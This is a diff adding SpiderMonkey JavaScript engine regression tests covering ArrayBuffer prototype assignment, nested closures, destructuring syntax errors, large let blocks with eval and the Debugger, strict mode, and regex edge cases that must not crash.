diff --git a/js/src/tests/js1_8_5/regress/regress-665355.js b/js/src/tests/js1_8_5/regress/regress-665355.js
new file mode 100644
index 000000000..ef91161c4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-665355.js
@@ -0,0 +1,16 @@
+var x = new ArrayBuffer(2);
+
+var test = function(newProto) {
+try {
+    x.__proto__ = newProto;
+    return false;
+} catch(e) {
+    return true;
+}
+}
+
+assertEq(test(x), true);
+assertEq(test({}), true);
+assertEq(test(null), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-672892.js b/js/src/tests/js1_8_5/regress/regress-672892.js
new file mode 100644
index 000000000..57c8732eb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672892.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+with (0)
+    for (var b in 0)  // don't assert in parser
+	;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-672893.js b/js/src/tests/js1_8_5/regress/regress-672893.js
new file mode 100644
index 000000000..497b6132f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672893.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f() {
+    return function () { return function () { return function () {
+    return function () { return function () { return function () {
+    return function () { return function () { return function () {
+    return function () { return function () { return function () {
+    return function () { return function () { return function (a) {
+        var v = a;
+	assertEq(v, 42);
+	return function() { return v; };
+    }; }; }; }; }; }; }; }; }; }; }; }; }; }; };
+};
+
+assertEq(f()()()()()()()()()()()()()()()(42)(), 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-694306.js b/js/src/tests/js1_8_5/regress/regress-694306.js
new file mode 100644
index 000000000..84bfc1ded
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-694306.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x;
+try {
+    eval("var {if} = {'if': 1};");
+} catch (exc) {
+    x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+assertEq("if" in this, false);
+
+x = undefined;
+try {
+    Function("var {if} = {'if': 1};");
+} catch (exc) {
+    x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-1.js b/js/src/tests/js1_8_5/regress/regress-698028-1.js
new file mode 100644
index 000000000..fb1876b27
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+{
+    let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f, 
+        x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f, 
+        x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f, 
+        x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f, 
+        x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f, 
+        x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f, 
+        x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f, 
+        x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f, 
+        x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f, 
+        x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f, 
+        xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf, 
+        xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf, 
+        xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf, 
+        xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf, 
+        xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef, 
+        xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+    eval("");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-2.js b/js/src/tests/js1_8_5/regress/regress-698028-2.js
new file mode 100644
index 000000000..09bdf2639
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal();
+var dbg = new g.Debugger(this);
+
+if (typeof evalInFrame === 'function') {
+    let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f, 
+        x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f, 
+        x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f, 
+        x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f, 
+        x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f, 
+        x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f, 
+        x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f, 
+        x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f, 
+        x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f, 
+        x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f, 
+        xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf, 
+        xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf, 
+        xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf, 
+        xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf, 
+        xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef, 
+        xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+    evalInFrame(1, "");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-3.js b/js/src/tests/js1_8_5/regress/regress-698028-3.js
new file mode 100644
index 000000000..7dba2d954
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-3.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof Debugger === 'function') {
+    var g = newGlobal();
+    var dbg = new Debugger(g);
+    dbg.onDebuggerStatement = function (frame) { frame.eval(''); };
+    var s = '{ let ';
+    for (var i = 0; i < 128; i++)
+        s += 'x' + i + ', ';
+    s += 'X = 0; debugger; }';
+    g.eval(s);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-699682.js b/js/src/tests/js1_8_5/regress/regress-699682.js
new file mode 100644
index 000000000..ad1b4e41e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-699682.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't assert trying to parse any of these.
+var a = ["({''})",
+         "({''} = {})",
+         "var {''};",
+         "var {'', a} = {a: 0};",
+         "var {'bad'};",
+         "({'bad'} = {bad: 0});",
+         "var {'if'};",
+         "function f({''}) {}",
+         "function f({a, 'bad', c}) {}"];
+
+var x;
+for (var i = 0; i < a.length; i++) {
+    x = undefined;
+    try {
+        eval(a[i]);
+    } catch (exc) {
+        x = exc;
+    }
+    assertEq(x instanceof SyntaxError, true);
+}
+assertEq("" in this, false);
+assertEq("bad" in this, false);
+assertEq("if" in this, false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-736792.js b/js/src/tests/js1_8_5/regress/regress-736792.js
new file mode 100644
index 000000000..01744f6a8
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-736792.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof options == "function") {
+    var opts = options();
+    if (!/\bstrict_mode\b/.test(opts))
+        options("strict_mode");
+}
+
+var ok = false;
+try {
+    eval('foo = true;');
+} catch (e) {
+    if (/^ReferenceError:/.test(e.toString()))
+        ok = true;
+}
+
+if (ok)
+    reportCompare(0, 0, "ok");
+else
+    reportCompare(true, false, "this should have thrown a ReferenceError");
diff --git a/js/src/tests/js1_8_5/regress/regress-810525.js b/js/src/tests/js1_8_5/regress/regress-810525.js
new file mode 100644
index 000000000..520ca413e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-810525.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = '';
+var actual = '';
+
+function test(s) {
+    var threw = false;
+    try {
+        eval(s);
+    } catch (e) {
+        assertEq(e.message.indexOf('(intermediate value)'), -1);
+        threw = true;
+    } finally {
+        assertEq(threw, true);
+    }
+}
+
+test("({p:1, q:2}).m()");
+test("[].m()");
+test("[1,2,3].m()");
+test("/hi/.m()");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
new file mode 100644
index 000000000..1b31f3c53
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
@@ -0,0 +1,20 @@
+function toSource(o) { return o === null ? "null" : o.toSource(); }
+
+var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */
+reportCompare(["a", "a", ""].toSource(), gcgcz.exec("a").toSource());
+reportCompare(["ab", "ab", ""].toSource(), gcgcz.exec("ab").toSource());
+reportCompare(["abc", "abc", ""].toSource(), gcgcz.exec("abc").toSource());
+
+reportCompare(["a", ""].toSource(), toSource(/((?:)*?)a/.exec("a")));
+reportCompare(["a", ""].toSource(), toSource(/((?:.)*?)a/.exec("a")));
+reportCompare(["a", ""].toSource(), toSource(/a((?:.)*)/.exec("a")));
+
+reportCompare(["B", "B"].toSource(), toSource(/([A-Z])/.exec("fooBar")));
+
+// These just mustn't crash. See bug 872971
+try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {}
+// Same for these. See bug 813366
+try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {}
+try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {}
diff --git a/js/src/tests/js1_8_5/regress/shell.js b/js/src/tests/js1_8_5/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/shell.js